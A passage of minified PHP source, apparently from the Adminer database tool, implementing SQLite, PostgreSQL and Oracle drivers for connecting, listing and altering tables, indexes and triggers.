h($h->error);}function
check_sqlite_name($C){global$h;$Cc="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($Cc)\$~",$C)){$h->error=lang(21,str_replace("|",", ",$Cc));return
false;}return
true;}function
create_database($m,$d){global$h;if(file_exists($m)){$h->error=lang(22);return
false;}if(!check_sqlite_name($m))return
false;try{$_=new
Min_SQLite($m);}catch(Exception$uc){$h->error=$uc->getMessage();return
false;}$_->query('PRAGMA encoding = "UTF-8"');$_->query('CREATE TABLE adminer (i)');$_->query('DROP TABLE adminer');return
true;}function
drop_databases($l){global$h;$h->__construct(":memory:");foreach($l
as$m){if(!@unlink($m)){$h->error=lang(22);return
false;}}return
true;}function
rename_database($C,$d){global$h;if(!check_sqlite_name($C))return
false;$h->__construct(":memory:");$h->error=lang(22);return@rename(DB,$C);}function
auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){$Nh=($Q==""||$Mc);foreach($p
as$o){if($o[0]!=""||!$o[1]||$o[2]){$Nh=true;break;}}$c=array();$ef=array();foreach($p
as$o){if($o[1]){$c[]=($Nh?$o[1]:"ADD ".implode($o[1]));if($o[0]!="")$ef[$o[0]]=$o[1][0];}}if(!$Nh){foreach($c
as$X){if(!queries("ALTER TABLE ".table($Q)." $X"))return
false;}if($Q!=$C&&!queries("ALTER TABLE ".table($Q)." RENAME TO ".table($C)))return
false;}elseif(!recreate_table($Q,$C,$c,$ef,$Mc))return
false;if($La)queries("UPDATE sqlite_sequence SET seq = $La WHERE name = ".q($C));return
true;}function
recreate_table($Q,$C,$p,$ef,$Mc,$v=array()){if($Q!=""){if(!$p){foreach(fields($Q)as$x=>$o){$p[]=process_field($o,$o);$ef[$x]=idf_escape($x);}}$Cf=false;foreach($p
as$o){if($o[6])$Cf=true;}$ac=array();foreach($v
as$x=>$X){if($X[2]=="DROP"){$ac[$X[1]]=true;unset($v[$x]);}}foreach(indexes($Q)as$Jd=>$u){$f=array();foreach($u["columns"]as$x=>$e){if(!$ef[$e])continue
2;$f[]=$ef[$e].($u["descs"][$x]?" DESC":"");}if(!$ac[$Jd]){if($u["type"]!="PRIMARY"||!$Cf)$v[]=array($u["type"],$Jd,$f);}}foreach($v
as$x=>$X){if($X[0]=="PRIMARY"){unset($v[$x]);$Mc[]="  PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($Q)as$Jd=>$q){foreach($q["source"]as$x=>$e){if(!$ef[$e])continue
2;$q["source"][$x]=idf_unescape($ef[$e]);}if(!isset($Mc[" $Jd"]))$Mc[]=" ".format_foreign_key($q);}queries("BEGIN");}foreach($p
as$x=>$o)$p[$x]="  ".implode($o);$p=array_merge($p,array_filter($Mc));if(!queries("CREATE TABLE ".table($Q!=""?"adminer_$C":$C)." (\n".implode(",\n",$p)."\n)"))return
false;if($Q!=""){if($ef&&!queries("INSERT INTO ".table("adminer_$C")." (".implode(", ",$ef).") SELECT ".implode(", ",array_map('idf_escape',array_keys($ef)))." FROM ".table($Q)))return
false;$zh=array();foreach(triggers($Q)as$xh=>$kh){$wh=trigger($xh);$zh[]="CREATE TRIGGER ".idf_escape($xh)." ".implode(" ",$kh)." ON ".table($C)."\n$wh[Statement]";}if(!queries("DROP TABLE ".table($Q)))return
false;queries("ALTER TABLE ".table("adminer_$C")." RENAME TO ".table($C));if(!alter_indexes($C,$v))return
false;foreach($zh
as$wh){if(!queries($wh))return
false;}queries("COMMIT");}return
true;}function
index_sql($Q,$U,$C,$f){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($C!=""?$C:uniqid($Q."_"))." ON ".table($Q)." $f";}function
alter_indexes($Q,$c){foreach($c
as$Bf){if($Bf[0]=="PRIMARY")return
recreate_table($Q,$Q,array(),array(),array(),$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($Q,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($S){return
apply_queries("DELETE FROM",$S);}function
drop_views($Yh){return
apply_queries("DROP VIEW",$Yh);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
move_tables($S,$Yh,$bh){return
false;}function
trigger($C){global$h;if($C=="")return
array("Statement"=>"BEGIN\n\t;\nEND");$t='(?:[^`"\\s]+|`[^`]*`|"[^"]*")+';$yh=trigger_options();preg_match("~^CREATE\\s+TRIGGER\\s*$t\\s*(".implode("|",$yh["Timing"]).")\\s+([a-z]+)(?:\\s+OF\\s+($t))?\\s+ON\\s*$t\\s*(?:FOR\\s+EACH\\s+ROW\\s)?(.*)~is",$h->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($C)),$B);$Fe=$B[3];return
array("Timing"=>strtoupper($B[1]),"Event"=>strtoupper($B[2]).($Fe?" OF":""),"Of"=>($Fe[0]=='`'||$Fe[0]=='"'?idf_unescape($Fe):$Fe),"Trigger"=>$C,"Statement"=>$B[4],);}function
triggers($Q){$J=array();$yh=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q))as$K){preg_match('~^CREATE\\s+TRIGGER\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*('.implode("|",$yh["Timing"]).')\\s*(.*)\\s+ON\\b~iU',$K["sql"],$B);$J[$K["name"]]=array($B[1],$B[2]);}return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($C,$U){}function
routines(){}function
routine_languages(){}function
begin(){return
queries("BEGIN");}function
last_id(){global$h;return$h->result("SELECT LAST_INSERT_ROWID()");}function
explain($h,$H){return$h->query("EXPLAIN QUERY PLAN $H");}function
found_rows($R,$Z){}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($og){return
true;}function
create_sql($Q,$La){global$h;$J=$h->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($Q));foreach(indexes($Q)as$C=>$u){if($C=='')continue;$J.=";\n\n".index_sql($Q,$u['type'],$C,"(".implode(", ",array_map('idf_escape',$u['columns'])).")");}return$J;}function
truncate_sql($Q){return"DELETE FROM ".table($Q);}function
use_sql($Gb){}function
trigger_sql($Q,$Mg){return
implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q)));}function
show_variables(){global$h;$J=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$x)$J[$x]=$h->result("PRAGMA $x");return$J;}function
show_status(){$J=array();foreach(get_vals("PRAGMA compile_options")as$Te){list($x,$X)=explode("=",$Te,2);$J[$x]=$X;}return$J;}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
support($Fc){return
preg_match('~^(columns|database|drop_col|dump|indexes|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Fc);}$w="sqlite";$Bh=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);$Lg=array_keys($Bh);$Ih=array();$Re=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$Uc=array("hex","length","lower","round","unixepoch","upper");$Zc=array("avg","count","count distinct","group_concat","max","min","sum");$fc=array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",));}$Xb["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){$zf=array("PgSQL","PDO_PgSQL");define("DRIVER","pgsql");if(extension_loaded("pgsql")){class
Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error;function
_error($qc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function
connect($N,$V,$G){global$b;$m=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($G,"'\\")."'";$this->_link=@pg_connect("$this->_string dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$m!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$Wh=pg_version($this->_link);$this->server_info=$Wh["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function
quote($P){return"'".pg_escape_string($this->_link,$P)."'";}function
select_db($Gb){global$b;if($Gb==$b->database())return$this->_database;$J=@pg_connect("$this->_string dbname='".addcslashes($Gb,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($J)$this->_link=$J;return$J;}function
close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function
query($H,$Ch=false){$I=@pg_query($this->_link,$H);$this->error="";if(!$I){$this->error=pg_last_error($this->_link);return
false;}elseif(!pg_num_fields($I)){$this->affected_rows=pg_affected_rows($I);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
pg_fetch_result($I->_result,0,$o);}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;$this->num_rows=pg_num_rows($I);}function
fetch_assoc(){return
pg_fetch_assoc($this->_result);}function
fetch_row(){return
pg_fetch_row($this->_result);}function
fetch_field(){$e=$this->_offset++;$J=new
stdClass;if(function_exists('pg_field_table'))$J->orgtable=pg_field_table($this->_result,$e);$J->name=pg_field_name($this->_result,$e);$J->orgname=$J->name;$J->type=pg_field_type($this->_result,$e);$J->charsetnr=($J->type=="bytea"?63:0);return$J;}function
__destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_PgSQL";function
connect($N,$V,$G){global$b;$m=$b->database();$P="pgsql:host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' options='-c client_encoding=utf8'";$this->dsn("$P dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",$V,$G);return
true;}function
select_db($Gb){global$b;return($b->database()==$Gb);}function
close(){}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$Bf){global$h;foreach($L
as$O){$Jh=array();$Z=array();foreach($O
as$x=>$X){$Jh[]="$x = $X";if(isset($Bf[idf_unescape($x)]))$Z[]="$x = $X";}if(!(($Z&&queries("UPDATE ".table($Q)." SET ".implode(", ",$Jh)." WHERE ".implode(" AND ",$Z))&&$h->affected_rows)||queries("INSERT INTO ".table($Q)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return
false;}return
true;}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2])){if($h->server_info>=9)$h->query("SET application_name = 'Adminer'");return$h;}return$h->error;}function
get_databases(){return
get_vals("SELECT datname FROM pg_database ORDER BY datname");}function
limit($H,$Z,$z,$D=0,$ug=" "){return" $H$Z".($z!==null?$ug."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){return" $H$Z";}function
db_collation($m,$nb){global$h;return$h->result("SHOW LC_COLLATE");}function
engines(){return
array();}function
logged_user(){global$h;return$h->result("SELECT user");}function
tables_list(){$H="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support('materializedview'))$H.="
UNION ALL
SELECT matviewname, 'MATERIALIZED VIEW'
FROM pg_matviews
WHERE schemaname = current_schema()";$H.="
ORDER BY 1";return
get_key_vals($H);}function
count_tables($l){return
array();}function
table_status($C=""){$J=array();foreach(get_rows("SELECT relname AS \"Name\", CASE relkind WHEN 'r' THEN 'table' WHEN 'mv' THEN 'materialized view' WHEN 'f' THEN 'foreign table' ELSE 'view' END AS \"Engine\", pg_relation_size(oid) AS \"Data_length\", pg_total_relation_size(oid) - pg_relation_size(oid) AS \"Index_length\", obj_description(oid, 'pg_class') AS \"Comment\", relhasoids::int AS \"Oid\", reltuples as \"Rows\"
FROM pg_class
WHERE relkind IN ('r','v','mv','f')
AND relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
".($C!=""?"AND relname = ".q($C):"ORDER BY relname"))as$K)$J[$K["Name"]]=$K;return($C!=""?$J[$C]:$J);}function
is_view($R){return
in_array($R["Engine"],array("view","materialized view"));}function
fk_support($R){return
true;}function
fields($Q){$J=array();$Ca=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, d.adsrc AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment
FROM pg_class c
JOIN pg_namespace n ON c.relnamespace = n.oid
JOIN pg_attribute a ON c.oid = a.attrelid
LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum
WHERE c.relname = ".q($Q)."
AND n.nspname = current_schema()
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$K){preg_match('~([^([]+)(\((.*)\))?([a-z ]+)?((\[[0-9]*])*)$~',$K["full_type"],$B);list(,$U,$y,$K["length"],$wa,$Fa)=$B;$K["length"].=$Fa;$cb=$U.$wa;if(isset($Ca[$cb])){$K["type"]=$Ca[$cb];$K["full_type"]=$K["type"].$y.$Fa;}else{$K["type"]=$U;$K["full_type"]=$K["type"].$y.$wa.$Fa;}$K["null"]=!$K["attnotnull"];$K["auto_increment"]=preg_match('~^nextval\\(~i',$K["default"]);$K["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^)]+(.*)~',$K["default"],$B))$K["default"]=($B[1][0]=="'"?idf_unescape($B[1]):$B[1]).$B[2];$J[$K["field"]]=$K;}return$J;}function
indexes($Q,$i=null){global$h;if(!is_object($i))$i=$h;$J=array();$Ug=$i->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($Q));$f=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $Ug AND attnum > 0",$i);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption FROM pg_index i, pg_class ci WHERE i.indrelid = $Ug AND ci.oid = i.indexrelid",$i)as$K){$Yf=$K["relname"];$J[$Yf]["type"]=($K["indisprimary"]?"PRIMARY":($K["indisunique"]?"UNIQUE":"INDEX"));$J[$Yf]["columns"]=array();foreach(explode(" ",$K["indkey"])as$qd)$J[$Yf]["columns"][]=$f[$qd];$J[$Yf]["descs"]=array();foreach(explode(" ",$K["indoption"])as$rd)$J[$Yf]["descs"][]=($rd&1?'1':null);$J[$Yf]["lengths"]=array();}return$J;}function
foreign_keys($Q){global$Me;$J=array();foreach(get_rows("SELECT conname, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($Q)." AND pn.nspname = current_schema())
AND contype = 'f'::char
ORDER BY conkey, conname")as$K){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$K['definition'],$B)){$K['source']=array_map('trim',explode(',',$B[1]));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$B[2],$ce)){$K['ns']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$ce[2]));$K['table']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$ce[4]));}$K['target']=array_map('trim',explode(',',$B[3]));$K['on_delete']=(preg_match("~ON DELETE ($Me)~",$B[4],$ce)?$ce[1]:'NO ACTION');$K['on_update']=(preg_match("~ON UPDATE ($Me)~",$B[4],$ce)?$ce[1]:'NO ACTION');$J[$K['conname']]=$K;}}return$J;}function
view($C){global$h;return
array("select"=>$h->result("SELECT pg_get_viewdef(".q($C).")"));}function
collations(){return
array();}function
information_schema($m){return($m=="information_schema");}function
error(){global$h;$J=h($h->error);if(preg_match('~^(.*\\n)?([^\\n]*)\\n( *)\\^(\\n.*)?$~s',$J,$B))$J=$B[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($B[3]).'})(.*)~','\\1<b>\\2</b>',$B[2]).$B[4];return
nl_br($J);}function
create_database($m,$d){return
queries("CREATE DATABASE ".idf_escape($m).($d?" ENCODING ".idf_escape($d):""));}function
drop_databases($l){global$h;$h->close();return
apply_queries("DROP DATABASE",$l,'idf_escape');}function
rename_database($C,$d){return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($C));}function
auto_increment(){return"";}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){$c=array();$Lf=array();foreach($p
as$o){$e=idf_escape($o[0]);$X=$o[1];if(!$X)$c[]="DROP $e";else{$Sh=$X[5];unset($X[5]);if(isset($X[6])&&$o[0]=="")$X[1]=($X[1]=="bigint"?" big":" ")."serial";if($o[0]=="")$c[]=($Q!=""?"ADD ":"  ").implode($X);else{if($e!=$X[0])$Lf[]="ALTER TABLE ".table($Q)." RENAME $e TO $X[0]";$c[]="ALTER $e TYPE$X[1]";if(!$X[6]){$c[]="ALTER $e ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $e ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($o[0]!=""||$Sh!="")$Lf[]="COMMENT ON COLUMN ".table($Q).".$X[0] IS ".($Sh!=""?substr($Sh,9):"''");}}$c=array_merge($c,$Mc);if($Q=="")array_unshift($Lf,"CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");elseif($c)array_unshift($Lf,"ALTER TABLE ".table($Q)."\n".implode(",\n",$c));if($Q!=""&&$Q!=$C)$Lf[]="ALTER TABLE ".table($Q)." RENAME TO ".table($C);if($Q!=""||$rb!="")$Lf[]="COMMENT ON TABLE ".table($C)." IS ".q($rb);if($La!=""){}foreach($Lf
as$H){if(!queries($H))return
false;}return
true;}function
alter_indexes($Q,$c){$j=array();$Yb=array();$Lf=array();foreach($c
as$X){if($X[0]!="INDEX")$j[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$Yb[]=idf_escape($X[1]);else$Lf[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q)." (".implode(", ",$X[2]).")";}if($j)array_unshift($Lf,"ALTER TABLE ".table($Q).implode(",",$j));if($Yb)array_unshift($Lf,"DROP INDEX ".implode(", ",$Yb));foreach($Lf
as$H){if(!queries($H))return
false;}return
true;}function
truncate_tables($S){return
queries("TRUNCATE ".implode(", ",array_map('table',$S)));return
true;}function
drop_views($Yh){return
drop_tables($Yh);}function
drop_tables($S){foreach($S
as$Q){$Ig=table_status($Q);if(!queries("DROP ".strtoupper($Ig["Engine"])." ".table($Q)))return
false;}return
true;}function
move_tables($S,$Yh,$bh){foreach(array_merge($S,$Yh)as$Q){$Ig=table_status($Q);if(!queries("ALTER ".strtoupper($Ig["Engine"])." ".table($Q)." SET SCHEMA ".idf_escape($bh)))return
false;}return
true;}function
trigger($C){if($C=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");$L=get_rows('SELECT trigger_name AS "Trigger", condition_timing AS "Timing", event_manipulation AS "Event", \'FOR EACH \' || action_orientation AS "Type", action_statement AS "Statement" FROM information_schema.triggers WHERE event_object_table = '.q($_GET["trigger"]).' AND trigger_name = '.q($C));return
reset($L);}function
triggers($Q){$J=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE event_object_table = ".q($Q))as$K)$J[$K["trigger_name"]]=array($K["condition_timing"],$K["event_manipulation"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routines(){return
get_rows('SELECT p.proname AS "ROUTINE_NAME", p.proargtypes AS "ROUTINE_TYPE", pg_catalog.format_type(p.prorettype, NULL) AS "DTD_IDENTIFIER"
FROM pg_catalog.pg_namespace n
JOIN pg_catalog.pg_proc p ON p.pronamespace = n.oid
WHERE n.nspname = current_schema()
ORDER BY p.proname');}function
routine_languages(){return
get_vals("SELECT langname FROM pg_catalog.pg_language");}function
last_id(){return
0;}function
explain($h,$H){return$h->query("EXPLAIN $H");}function
found_rows($R,$Z){global$h;if(preg_match("~ rows=([0-9]+)~",$h->result("EXPLAIN SELECT * FROM ".idf_escape($R["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$Xf))return$Xf[1];return
false;}function
types(){return
get_vals("SELECT typname
FROM pg_type
WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
AND typtype IN ('b','d','e')
AND typelem = 0");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){global$h;return$h->result("SELECT current_schema()");}function
set_schema($ng){global$h,$Bh,$Lg;$J=$h->query("SET search_path TO ".idf_escape($ng));foreach(types()as$U){if(!isset($Bh[$U])){$Bh[$U]=0;$Lg[lang(23)][]=$U;}}return$J;}function
use_sql($Gb){return"\connect ".idf_escape($Gb);}function
show_variables(){return
get_key_vals("SHOW ALL");}function
process_list(){global$h;return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".($h->server_info<9.2?"procpid":"pid"));}function
show_status(){}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
support($Fc){global$h;return
preg_match('~^(database|table|columns|sql|indexes|comment|view|'.($h->server_info>=9.3?'materializedview|':'').'scheme|processlist|sequence|trigger|type|variables|drop_col)$~',$Fc);}$w="pgsql";$Bh=array();$Lg=array();foreach(array(lang(24)=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),lang(25)=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),lang(26)=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),lang(27)=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),lang(28)=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),lang(29)=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$x=>$X){$Bh+=$X;$Lg[$x]=array_keys($X);}$Ih=array();$Re=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Uc=array("char_length","lower","round","to_hex","to_timestamp","upper");$Zc=array("avg","count","count distinct","max","min","sum");$fc=array(array("char"=>"md5","date|time"=>"now",),array("int|numeric|real|money"=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",));}$Xb["oracle"]="Oracle";if(isset($_GET["oracle"])){$zf=array("OCI8","PDO_OCI");define("DRIVER","oracle");if(extension_loaded("oci8")){class
Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_error($qc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function
connect($N,$V,$G){$this->_link=@oci_new_connect($V,$G,$N,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return
true;}$n=oci_error();$this->error=$n["message"];return
false;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Gb){return
true;}function
query($H,$Ch=false){$I=oci_parse($this->_link,$H);$this->error="";if(!$I){$n=oci_error($this->_link);$this->errno=$n["code"];$this->error=$n["message"];return
false;}set_error_handler(array($this,'_error'));$J=@oci_execute($I);restore_error_handler();if($J){if(oci_num_fields($I))return
new
Min_Result($I);$this->affected_rows=oci_num_rows($I);}return$J;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$o=1){$I=$this->query($H);if(!is_object($I)||!oci_fetch($I->_result))return
false;return
oci_result($I->_result,$o);}}class
Min_Result{var$_result,$_offset=1,$num_rows;function
__construct($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'OCI-Lob'))$K[$x]=$X->load();}return$K;}function
fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function
fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function
fetch_field(){$e=$this->_offset++;$J=new
stdClass;$J->name=oci_field_name($this->_result,$e);$J->orgname=$J->name;$J->type=oci_field_type($this->_result,$e);$J->charsetnr=(preg_match("~raw|blob|bfile~",$J->type)?63:0);return$J;}function
__destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class
Min_DB
extends
Min_PDO{var$extension="PDO_OCI";function
connect($N,$V,$G){$this->dsn("oci:dbname=//$N;charset=AL32UTF8",$V,$G);return
true;}function
select_db($Gb){return
true;}}}class
Min_Driver
extends
Min_SQL{function
begin(){return
true;}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2]))return$h;return$h->error;}function
get_databases(){return
get_vals("SELECT tablespace_name FROM user_tablespaces");}function
limit($H,$Z,$z,$D=0,$ug=" "){return($D?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $H$Z) t WHERE rownum <= ".($z+$D).") WHERE rnum > $D":($z!==null?" * FROM (SELECT $H$Z) WHERE rownum <= ".($z+$D):" $H$Z"));}function
limit1($H,$Z){return" $H$Z";}function
db_collation($m,$nb){global$h;return$h->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
engines(){return
array();}function
logged_user(){global$h;return$h->result("SELECT USER FROM DUAL");}function
tables_list(){return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."
UNION SELECT view_name, 'view' FROM user_views
ORDER BY 1");}function
count_tables($l){return
array();}function
table_status($C=""){$J=array();$pg=q($C);foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q(DB).($C!=""?" AND table_name = $pg":"")."
UNION SELECT view_name, 'view', 0, 0 FROM user_views".($C!=""?" WHERE view_name = $pg":"")."
ORDER BY 1")as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){return
true;}function
fields($Q){$J=array();foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($Q)." ORDER BY column_id")as$K){$U=$K["DATA_TYPE"];$y="$K[DATA_PRECISION],$K[DATA_SCALE]";if($y==",")$y=$K["DATA_LENGTH"];$J[$K["COLUMN_NAME"]]=array("field"=>$K["COLUMN_NAME"],"full_type"=>$U.($y?"($y)":""),"type"=>strtolower($U),"length"=>$y,"default"=>$K["DATA_DEFAULT"],"null"=>($K["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$J;}function
indexes($Q,$i=null){$J=array();foreach(get_rows("SELECT uic.*, uc.constraint_type
FROM user_ind_columns uic
LEFT JOIN user_constraints uc ON uic.index_name = uc.constraint_name AND uic.table_name = uc.table_name
WHERE uic.table_name = ".q($Q)."
ORDER BY uc.constraint_type, uic.column_position",$i)as$K){$od=$K["INDEX_NAME"];$J[$od]["type"]=($K["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($K["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$J[$od]["columns"][]=$K["COLUMN_NAME"];$J[$od]["lengths"][]=($K["CHAR_LENGTH"]&&$K["CHAR_LENGTH"]!=$K["COLUMN_LENGTH"]?$K["CHAR_LENGTH"]:null);$J[$od]["descs"][]=($K["DESCEND"]?'1':null);}return$J;}function
view($C){$L=get_rows('SELECT text "select" FROM user_views WHERE view_name = '.q($C));return
reset($L);}function
collations(){return
array();}function
information_schema($m){return
false;}function
error(){global$h;return
h($h->error);}function
explain($h,$H){$h->query("EXPLAIN PLAN FOR $H");return$h->query("SELECT * FROM plan_table");}function
found_rows($R,$Z){}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){$c=$Yb=array();foreach($p
as$o){$X=$o[1];if($X&&$o[0]!=""&&idf_escape($o[0])!=$X[0])queries("ALTER TABLE ".table($Q)." RENAME COLUMN ".idf_escape($o[0])." TO $X[0]");if($X)$c[]=($Q!=""?($o[0]!=""?"MODIFY (":"ADD ("):"  ").implode($X).($Q!=""?")":"");else$Yb[]=idf_escape($o[0]);}if($Q=="")return
